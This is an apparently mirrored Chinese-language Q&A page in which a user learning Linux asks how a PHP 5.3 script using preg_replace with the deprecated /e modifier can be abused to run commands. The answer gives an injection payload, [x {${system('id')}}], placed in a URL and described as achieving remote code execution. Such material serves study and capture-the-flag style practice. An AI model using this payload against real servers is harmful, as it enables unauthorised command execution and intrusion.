“/e”正则表达式如何在我的服务器上运行的 PHP 代码片段上被滥用?

问题描述 投票:0回答:1

我正在学习 Linux 系统,并且我读到“/e”已被弃用,但我使用的是 PHP 5.3 的机器,我想了解如何滥用此代码来执行不同的命令。如何使用此代码执行外部命令?

#!/usr/bin/php
<?php
        function y($m)
        {
                $m = preg_replace("/\./", " x ", $m);
                $m = preg_replace("/@/", " y", $m);
                return $m;
        }

        function x($y, $z)
        {
                $a = file_get_contents($y);
                $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
                $a = preg_replace("/\[/", "(", $a);
                $a = preg_replace("/\]/", ")", $a);
                return $a;
        }
        $r = x($argv[1], $argv[2]);
        print $r;
?>

php linux security
1个回答
0
投票

可以通过执行类似以下内容来实现可能的远程代码执行(RCE):

http://localhost/script.php?input=[x {${system('id')}}]

© www.soinside.com 2019 - 2024. All rights reserved.